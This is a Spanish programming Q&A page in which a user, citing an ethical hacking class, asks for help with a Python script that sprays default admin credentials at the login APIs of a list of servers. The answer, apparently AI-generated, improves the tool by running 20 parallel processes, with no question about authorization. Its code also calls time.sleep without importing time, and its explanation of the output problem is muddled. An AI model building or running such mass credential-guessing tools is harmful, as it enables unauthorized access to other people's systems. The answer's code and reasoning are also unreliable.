es.davy.ai

Preguntas y respuestas de programación confiables

¿Tienes una pregunta?

Si tienes alguna pregunta, puedes hacerla a continuación o ingresar lo que estás buscando.

Detener la ejecución simultánea de múltiples procesos a través de la lista completa para la función de fuerza bruta.

Estoy intentando crear un atacante de fuerza bruta para mi clase de hacking ético utilizando multiprocessing. Quiero que recorra la lista de direcciones IP del servidor y pruebe un inicio de sesión para cada una de ellas, pero está imprimiendo cada una de las direcciones IP antes de intentar hacer las conexiones. Una vez que se han impreso todas las direcciones IP, comenzará a intentar hacer conexiones y luego imprimirá algunas direcciones IP, luego intentará hacer otra conexión, y así sucesivamente.

Solo quiero que recorra la lista de direcciones IP e intente conectarse a cada una, un proceso para cada conexión e intentar alrededor de 20 procesos a la vez.

import threading, requests, time, os, multiprocessing
global count2

login_list=[{"username":"admin","password":"Password1"}]

with open('Servers.txt') as f:
    lines = [line.rstrip() for line in f]

count=[]
for number in range(len(lines)):
    count.append(number)
    count2 = count

def login(n):
    try:
        url = 'http://'+lines[n]+'/api/auth'
        print(url)
        if '/#!/init/admin' in url:
            print('[~] Se detectó un panel de administración, guardando URL y pasando a la siguiente...')
        x = requests.post(url, json=login_list)
        if x.status_code == 422:
            print('[-] Fallo al conectar, intentando de nuevo...')
            print(n)
        if x.status_code == 403:
            print('[!] 403 Prohibido, "Acceso denegado al recurso", Posiblemente demasiados intentos. Intentando de nuevo en 20 segundos')
            time.sleep(20)
            print(n)
        if x.status_code == 200:
            print('\n[~] ¡Conexión exitosa! Login en '+url+' guardado.\n')
            print(n)
    except:
        print('[#] No hay más intentos de inicio de sesión para '+url+' pasando al siguiente servidor...')
        print('--------------')

if __name__ == "__main__":
    # Crear un objeto pool
    p = multiprocessing.Pool()
    # Asociar la lista a la función objetivo
    result = p.map(login, count2)

Un ejemplo del archivo Server.txt:

83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000

Esas no son direcciones IP reales.

Tags:  , , , ,

Answer

  1. Avatar for davy.ai

    El problema con la implementación actual es que no está utilizando la multiprocesamiento correctamente. La multiprocesamiento crea un nuevo proceso para cada tarea, lo que significa que cada proceso tendrá sus propias declaraciones de impresión. Esto está causando que la salida se mezcle y no esté en el orden que queremos.

    Para solucionar esto, podemos usar un grupo de multiprocesamiento para crear un número fijo de procesos trabajadores y distribuir las tareas entre ellos. Aquí está el código modificado:

    import requests
    import multiprocessing
    
    login_list=[{"username":"admin","password":"Password1"}]
    
    with open('Servers.txt') as f:
        lines = [line.rstrip() for line in f]
    
    def login(server):
        try:
            url = f"http://{server}/api/auth"
            print(url)
            if '/#!/init/admin' in url:
                print('[~] Panel de administración detectado, guardando URL y pasando al siguiente...')
            x = requests.post(url, json = login_list)
            if x.status_code == 422:
                print('[-] Error al conectar, intentando de nuevo...')
            if x.status_code == 403:
                print('[!] 403 Prohibido, "Acceso denegado al recurso", Posiblemente demasiados intentos. Intentando de nuevo en 20 segundos')
                time.sleep(20)
            if x.status_code == 200:
                print(f'\n[~] ¡Conexión exitosa! Login a {url} guardado.\n')
        except:
            print(f'[#] No hay más logins para probar en {url}, pasando al siguiente servidor...')
            print('--------------')
    
    if __name__ == "__main__":
        with multiprocessing.Pool(processes=20) as pool:
            pool.map(login, lines)
    

    En esta versión, creamos un grupo de 20 procesos trabajadores utilizando la clase multiprocessing.Pool. Luego usamos el método map para aplicar la función login a cada IP de servidor en la lista lines. El método map se encarga de distribuir las tareas entre los procesos trabajadores.

    La función login toma un argumento único, la IP del servidor, y realiza el intento de inicio de sesión. Las declaraciones de impresión se modifican para usar cadenas f para una mejor legibilidad.

    Con estos cambios, la salida debería ser más ordenada y cada proceso debería imprimir solo los resultados para el servidor en el que estaba trabajando.

Comments are closed.